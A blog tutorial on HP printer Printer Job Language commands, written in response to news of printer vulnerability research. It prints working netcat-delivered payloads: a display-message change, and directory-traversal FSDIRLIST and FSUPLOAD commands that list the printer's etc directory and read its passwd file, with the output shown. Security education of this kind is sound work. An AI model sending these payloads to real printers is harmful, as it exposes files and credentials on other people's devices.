Notice the quotes in the title? That’s because this particular write up is about knowing and understanding the basics. A long time ago, you became a “hacker” because you were someone who was an expert in a subject.
I know people that have forgotten more about VMS than I could ever learn. They became known as a VMS “hacker” because they knew everything that could be known about VMS.
A short while later in my career, I got to be known as the AIX “hacker” because I knew more about AIX than even some IBM techs I’d talk to on the phone. That’s why the term “Hacking” in the title has quotes. What we’re going to talk about today is understanding some very basic features that most people have forgotten about and being able to manipulate those features to help us do some bad stuff.
HP Printer Vulnerability
I’ve been surrounded by a lot of debate, since the HP printer vulnerability controversy sparked up (like the pun?) earlier this week. If you’ve NOT been living with your head buried in the sand the past few days, then you’ve not doubt heard that security researchers have dug into some inherent functionality in HP printers and figured out a way to use it to do some things that could cause some alarm. HP has, since, officially argued that claims about burning printers are sensationalistic.
I’ve been personally dragged into a couple of misguided conversations regarding these new findings and there are a few things that I don’t think have been made crystal clear about the vulnerabilities. With that in mind, I figured we could take a few moments here at Hack On A Dime to refamiliarize ourselves with the basics of HP Printers and focus on what’s at the heart of the new research: PJL.
For those that are not familiar, PJL is very nearly the heart of communication with print queues. But, let’s not get ahead of ourselves.
Printer Communication
Printers are, in essence, simply computers. They communicate via the network, like PC’s, but, unfortunately, they may be the most neglected devices on any network. A sampling of printers tested (later in this article), showed me that they hadn’t had firmware updates in well over a year. (This helped me greatly, because the vulnerability I ended up exploiting was found within that year, so I really shouldn’t complain).
HP Printers have five main ways of communicating on the network, if they’re networked and using JetDirect:
- HTTP
- HTTPS
- Telnet
- SNMP
- PCL / PJL
HTTP and HTTPS, is served through what HP calls the Embedded Web Server, or EWS. Now, most administrators, when deploying HP printers, turn off HTTP in favor of HTTPS. Ok, maybe not most, but those that have an understanding about security know that HTTPS is better than HTTP, so they usually turn off communications on Port 80, in favor of Port 443 (HTTPS).
If an admin communicates with their printer through Telnet, the password is usually the same using Telnet, as it is using EWS. SNMP is a whole other discussion (and a whole other vulnerability discussion – did you know you can snmpwalk an HP printer without the community string? Yeah, we’ll talk about THAT later.).
But what’s interesting is PJL – the Printer Job Language – an extension of PCL (the Printer Command Language – how print jobs are communicated to printers) is another way to communicate with the printer and has some … INTERESTING features that help us, the hacker.
PJL, by the way, supports the ability to password protect it (with a separate password from EWS/Telnet) so you can actually protect the printing stream (a little). The following examples, however, were successfully implemented on an HP printer without PJL password being set. But, let’s face facts, nearly 99.9% of the printers out there WILL NOT have the PJL password set.
So, let’s take a look at how we can use PJL to make the printer do some interesting things. NOTE: below, where [ESC] is used, you need to actually insert the ESCAPE character. I highly suggest you use Notepad++ in order to craft the ASCII commands. Regular Notepad just won’t cut it. And, lastly, you should know that in order to send the commands to the printer, you’re going to use netcat.exe (or nc.exe). This will send the commands in a “raw”, unadulterated way so the printer will interpret the commands correctly.
First, if you want to try something easy out, you can tell the printer to change the “READY” message to something else.
The code to change the “READY” message to “Igor!!!!” do that is:
[ESC]%-12345X @PJL RDYMSG DISPLAY="Igor!!!!"
[ESC]%-12345X
You can paste that code into Notepad++, substitute the [ESC] with the actual Escape character and save the file to a directory. In a Windows environment, you can open a DOS box and issue the “type” command to “echo” the file to netcat. For instance, if you had saved the file as “pjl1.txt”, you can do the following:
type pjl1.txt | nc -v -v <PRINTER IP ADDRESS> 9100
Linux folks can, of course, use “echo” to perform the same thing. Regardless, sending that code to the printer resulted in the printer’s display message reading:
Knowing that the printer accepts PJL code, we can now start to send it way more interesting code. Like what you ask? Well, thanks to a vulnerability associated with PJL code and directory traversal (you know, the practice of inserting periods and slashes into a pathname to traverse the directory structure and get to places you shouldn’t?) we can start to list out the contents of the hard drives that are installed in the printer.
In HP’s world, the main drive is called drive “0:” and the next drive is called drive “1:”. So, for you Windows folks, you have “C:” and the HP printers have “0:”. So, let’s go ahead and list out the “etc” directory.
This code lists out the contents of the ‘etc’ directory for me:
[ESC]%-12345X@PJL FSDIRLIST NAME="0:\\..\\..\\..\\etc" ENTRY=1 COUNT=999999
[ESC]%-12345X
Save this file and “type” it out to netcat.
type pjl-fsdirlist.txt | nc -v -v <IP Address of Printer> 9100
And this was the output of the command:
[Fully Qualified Domain Name] [IP Address] 9100 (?) open
@PJL FSDIRLIST NAME="0:\\..\\..\\..\\etc" ENTRY=1
. TYPE=DIR
.. TYPE=DIR
hp TYPE=DIR
starttab TYPE=FILE SIZE=315
passwd TYPE=FILE SIZE=23
ttys TYPE=FILE SIZE=1357
hosts TYPE=FILE SIZE=159
resolv.conf TYPE=FILE SIZE=53
fsdev TYPE=FILE SIZE=681
fstab TYPE=FILE SIZE=247
Using the PJL commands to interact with the Filesystem is not a hack, it is a feature. However, it is a feature that we can use to view the contents of the hard drives and even the contents of the files. See that “passwd” file up there? Let’s see what’s in it.
This code (the FSUPLOAD command) allowed me to view the contents of the file by sending a print job to the printer.
[ESC]%-12345X@PJL FSUPLOAD NAME="0:\\..\\..\\..\\etc\passwd" OFFSET=0 SIZE=22000
[ESC]%-12345X
The output of this command looked like this:
type pjl1.txt | nc -v -v <IP Address of Printer> 9100
Fully Qualified Domain Name [IP Address of Printer] 9100 (?) open
@PJL FSUPLOAD FORMAT:BINARY NAME="0:\\..\\..\\..\\etc\passwd" OFFSET=0 SIZE=23
root::0:0::/:/bin/dlsh
Conclusion
Hopefully, this tutorial helps illustrate for you some basic PJL commands and how to use them to interact with the printers. If you want to learn more about PJL commainds, go ahead and google “PJL reference manual”, you’ll get a number of hits listing out PDF’s containing a ton of PJL commands you can use to mess around with the printers you find on networks you test.
Or, if you decide to really take the quick hacker highway, you can check out this script on attackvector that combines a lot of this stuff together in one Perl script.
Or, if you’re a Metasploit user, you can check out this module that also executes PJL queries.
The key thing to take away from this tutorial is this: the new security research may or may not be 100% accurate, but it should be a launching point for discussion and your expert knowledge in this subject should help you educate others who may not quite understand the claims that are being made regarding the vulnerability of HP Printers.